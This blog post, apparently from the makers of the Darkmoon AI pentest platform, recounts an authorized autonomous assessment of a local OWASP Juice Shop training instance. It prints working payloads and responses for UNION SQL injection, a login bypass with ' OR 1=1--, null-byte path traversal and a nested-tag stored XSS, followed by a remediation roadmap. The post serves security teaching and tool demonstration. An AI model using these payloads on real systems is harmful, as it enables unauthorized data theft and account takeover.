· 9 min read
The difference between a scanner and a pentest is proof. A scanner tells you a parameter looks injectable; a pentest extracts the database. To show what that difference looks like when the tester is autonomous, we pointed the Darkmoon platform at a local, authorized instance of OWASP Juice Shop and let it run end to end. It came back with seven findings, four of them exploited, each one carrying the exact request, the raw response and the data actually pulled out. This is the walk through of that run, and every number, payload and response below comes from the assessment report it produced.
Authorized, deliberately vulnerable, educational
OWASP Juice Shop (bkimminich/juice-shop) is the canonical deliberately vulnerable web application, built to teach and to benchmark security tooling. This assessment ran against a locally hosted instance we control, on loopback, with full authorization. It is not a third party target. The point is not that Juice Shop is insecure, that is its job, but that an autonomous agent walks it the way a human tester would and proves each issue rather than guessing at it.
The run, at a glance
The campaign was assessed against ISO 27001, NIST SP 800-115 and MITRE ATT&CK, and it graded the overall posture as critical. The headline is not the count, it is the status column: of the seven findings, four were driven all the way to executed impact.
| Severity | Count |
|---|---|
| Critical | 2 (2 exploited) |
| High | 3 (2 exploited, 1 confirmed) |
| Medium | 2 (2 confirmed) |
| Total | 7 |
| # | Finding | Severity | CVSS | Status | Endpoint |
|---|---|---|---|---|---|
| 1 | UNION-based SQL injection in product search | Critical | 9.8 | Exploited | GET /rest/products/search?q= |
| 2 | Authentication bypass via SQL injection on login | Critical | 9.8 | Exploited | POST /rest/user/login |
| 3 | Null byte path traversal on the FTP directory | High | 7.5 | Exploited | GET /ftp/{filename}%2500.md |
| 4 | Password hashes exposed in JWT tokens | High | 7.5 | Confirmed | POST /rest/user/login |
| 5 | Stored XSS via HTML sanitizer bypass | High | 7.1 | Exploited | POST /api/Feedbacks |
| 6 | DOM / reflected XSS in product search | Medium | 6.1 | Confirmed | GET /#/search?q= |
| 7 | Verbose error pages with stack traces | Medium | 5.3 | Confirmed | Any invalid endpoint |
The run was fast and it was attributed. The report records the web findings as discovered by its nodejs specialist, and the discovery timestamps cluster inside a single window, from the UNION injection at 11:26:35 to the JWT exposure at 11:27:51, roughly ninety seconds of active exploitation across seven distinct issues. That is the shape of an autonomous run: it does not tire of chaining the next request from what the last one returned, and it records the exact time, endpoint and component for every finding so the report is auditable rather than a summary.
1. UNION SQL injection: the whole user table, extracted
The product search endpoint at /rest/products/search built its SQLite query by concatenating the q parameter straight into the statement. The agent first probed with a broken payload and read the database's own error back, which confirmed the injection point, then closed the original query and appended a UNION SELECT that matched the nine column shape of the Products table. That let it read arbitrary tables, and it went straight for the users.
# 1) confirm the injection point
q=test') OR 1=1-- -> SQLITE_ERROR: incomplete input
# 2) map the schema, then dump credentials
curl -s "http://127.0.0.1:3000/rest/products/search?q='))%20UNION%20SELECT%20sql,2,3,4,5,6,7,8,9%20FROM%20sqlite_master--"
curl -s "http://127.0.0.1:3000/rest/products/search?q='))%20UNION%20SELECT%20id,email,password,role,5,6,7,8,9%20FROM%20Users--"The response returned the users as if they were products. The email landed in the product name field and the password hash in the description field:
HTTP/1.1 200 OK
{"status":"success","data":[{"id":1,"name":"admin@juice-sh.op",
"description":"0192023a7bbd73250516f069df18b500","price":"admin", ... }]}The report records what came out: all user emails, their MD5 password hashes and their roles, including two admin accounts, and it captured the admin hash 0192023a7bbd73250516f069df18b500 for admin@juice-sh.op as evidence. Rated critical, CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), mapped to MITRE ATT&CK T1190. This is why the status reads EXPLOITED rather than confirmed: the impact, full database extraction, was actually carried out.
2. Authentication bypass: an admin session with no password
The login endpoint had the same root cause on a different surface. The email field in the JSON body was embedded directly into a SQL query, so the classic tautology terminated the string, added OR 1=1 and commented out the password check. The database returned the first user row, which is the admin, and the application dutifully minted a valid JWT for it.
POST /rest/user/login HTTP/1.1
Content-Type: application/json
{"email":"' OR 1=1--","password":"test"}
HTTP/1.1 200 OK
{"authentication":{"token":"eyJ0eXAiOiJKV1Q...","bid":1,"umail":"admin@juice-sh.op"}}The agent decoded the returned token and recorded that it carried id=1, email=admin@juice-sh.op, role=admin, then used it to reach authenticated admin endpoints, /api/Users and /api/Feedbacks. Complete administrative access, no credentials required. Critical, CVSS 9.8, MITRE ATT&CK T1078 (valid accounts). Again EXPLOITED, because the agent did not stop at issuing the token, it demonstrated the access it granted.
3. Null byte path traversal: reading files off the FTP directory
The /ftp directory served files behind an extension whitelist, and it also exposed a public directory listing. The agent bypassed the whitelist with a URL encoded null byte: appending %2500.md to a restricted filename truncates it at the OS level while the application still sees an allowed .md extension.
curl -s "http://127.0.0.1:3000/ftp/package.json.bak%2500.md"
curl -s "http://127.0.0.1:3000/ftp/coupons_2013.md.bak%2500.md"
curl -s "http://127.0.0.1:3000/ftp/acquisitions.md"Each request returned 200 with the real file. The run pulled a package.json.bak backup that revealed the full dependency tree and internal configuration, a coupons file containing discount codes, and a confidential business document. High, CVSS 7.5, MITRE ATT&CK T1083. Exploited: sensitive files were downloaded, not merely reachable.
4. Password hashes riding inside the JWT (Confirmed, and why not exploited)
This one is a good illustration of the status discipline, because it stops at CONFIRMED. The JWT the login endpoint issues carries the user's MD5 password hash directly in its payload, and a JWT payload is base64 encoded, not encrypted, so anyone holding the token can read it.
curl -s "http://127.0.0.1:3000/rest/user/login" -X POST -H "Content-Type: application/json" \
-d '{"email":"'\'' OR 1=1--","password":"test"}' \
| jq -r '.authentication.token' | cut -d. -f2 | base64 -d
# decoded payload:
{"data":{"id":1,"email":"admin@juice-sh.op",
"password":"0192023a7bbd73250516f069df18b500","role":"admin", ...}}The hash is unsalted MD5, a broken algorithm that rainbow tables reverse in seconds, and combined with the SQLi above it means every user credential is trivially compromised. The agent demonstrated the exposure with the exact request, the decoded payload and the visible hash, which is what CONFIRMED requires. It did not label it exploited, because the finding is the disclosure of the hash rather than a cracked plaintext password, and the report reflects exactly that boundary. High, CVSS 7.5, MITRE ATT&CK T1552.001.
5. Stored XSS through a sanitizer that rebuilt the payload
The customer feedback API used a blacklist style HTML sanitizer that strips known dangerous tags, and it was beaten by its own stripping behaviour. Nesting benign tags inside the malicious one means that once the sanitizer removes the inner <b> and </b>, the fragments it leaves behind reassemble into a valid script tag.
# 1) solve the CAPTCHA the endpoint requires
curl -s "http://127.0.0.1:3000/rest/captcha" -> captchaId=2, answer=56
# 2) post the nested-tag payload
curl -s -X POST "http://127.0.0.1:3000/api/Feedbacks" -H "Content-Type: application/json" \
-d '{"UserId":1,"comment":"<<b>script>alert(`xss`)<</b>/script>","rating":5,"captchaId":2,"captcha":"56"}'
HTTP/1.1 200 OK
{"status":"success","data":{"id":10, ... }}The agent obtained the CAPTCHA, submitted the payload, got back a success with the stored feedback id, and then verified through GET /api/Feedbacks that the comment persisted in the database. When that stored comment is rendered, the sanitizer strips the <b></b> pair and leaves an executing <script>alert(`xss`)</script> behind, which fires in the browser of any user, including an admin, who views the feedback. High, CVSS 7.1, MITRE ATT&CK T1059.007. Exploited: the payload was stored and its reconstruction confirmed.
6 and 7. The two mediums the agent held at CONFIRMED
The reflected XSS finding in product search and the verbose error disclosure both sit at CONFIRMED, and both are medium rather than high, which is the honest call given what was demonstrated.
- DOM / reflected XSS (CVSS 6.1). The Angular front end reads the search term from the URL fragment and renders it with an innerHTML binding, and the API passes HTML in the
qparameter through untouched. The agent confirmed the payloads pass server side and described the client side execution path when a victim opens a crafted/#/searchURL, rather than claiming a headless browser detonation it did not run. - Verbose error pages (CVSS 5.3). An invalid request to
/api/returned a 500 with a full stack trace exposing internal file paths under/juice-shop/build/routes/, the framework versionExpress ^4.22.1and the database engine via aSQLITE_ERRORmessage. Information disclosure that shortens an attacker's reconnaissance, recorded as exactly that.
What EXPLOITED versus CONFIRMED bought this report
Every Darkmoon agent assigns status by demonstrated impact, and it challenges its own claim before it writes it down. That is what keeps a finding count honest instead of inflated.
| Status | Bar it has to clear | Example from this run |
|---|---|---|
| EXPLOITED | Impact executed end to end: data extracted or access gained | The Users table dumped via UNION SQLi; an admin JWT minted from ' OR 1=1-- |
| CONFIRMED | Impact demonstrated with the exact request, raw response and extracted data or trace | The MD5 hash read out of a decoded JWT payload |
| UNCONFIRMED | A real lead not yet demonstrated; capped at low severity | Not used in this run |
Four exploited, three confirmed, zero hand waving. The two SQL injections were driven to full database extraction and an admin session; the traversal to downloaded files; the stored XSS to a persisted, reconstructing payload. The JWT exposure and the reflected XSS were demonstrated but held at the severity the evidence supports rather than promoted. A buyer reading this report is deciding from proof, not from a probability score, which is the whole argument for proof of exploitation over AI vulnerability scores.
The remediation roadmap it produced
The report closed with a prioritized roadmap, ordered by risk rather than by finding number:
- Immediate, under 24 hours. Fix both SQL injections. Use parameterized queries everywhere and never embed user input in a query string, which closes the database extraction and the authentication bypass at once.
- Short term, under a week. Reject null bytes after URL decoding and whitelist filenames rather than extensions on
/ftp; strip password hashes from JWT payloads and move off unsalted MD5 to bcrypt, scrypt or argon2; replace the blacklist sanitizer with a whitelist library such as DOMPurify and add a Content-Security-Policy. - Medium term, under two weeks. Render search terms with textContent instead of innerHTML and add CSP to shut the reflected XSS; set
NODE_ENV=productionand a custom error handler so stack traces, file paths and versions stop leaking.
What this proves, and what it does not
Juice Shop is a teaching target, so the finding count is a statement about the agent, not about a hardened production app: it proves the autonomous run detects, exploits and reports web vulnerabilities with reproducible proof, and grades honestly. Against a well configured application a clean run that finds nothing exploitable is a valid and useful result. Every payload and response here is from the single authorized run against our local instance.
FAQ
Can an AI agent actually exploit web vulnerabilities, or just flag them? On this run it exploited them. It extracted the full user table through UNION SQL injection, minted an admin JWT through an authentication bypass, downloaded restricted files through null byte traversal, and stored a reconstructing XSS payload, each with the exact request and raw response recorded.
Why are some findings only CONFIRMED and not EXPLOITED? Because status follows demonstrated impact. The JWT hash exposure and the reflected XSS were proven with the exact request and response, but the agent did not overstate them into a cracked password or a detonated browser exploit it had not performed. That restraint is deliberate and it keeps the report trustworthy.
Is testing OWASP Juice Shop legal? Yes, when it is your own instance. Juice Shop is an open source, deliberately vulnerable app made for exactly this, and this assessment ran against a local instance on loopback with authorization. Never run these techniques against an application you do not own or are not contracted in writing to test.
Do my targets and secrets get sent to a hosted model? No. The platform runs on a local model and its privacy gateway feeds the model deterministic placeholders, so real hosts, paths and credentials never reach it. The fully caveated treatment is in how to run an AI pentest without sending your data to the LLM.
Darkmoon is our open source project (GPL-3.0): github.com/ASCIT31/Dark-Moon, docs.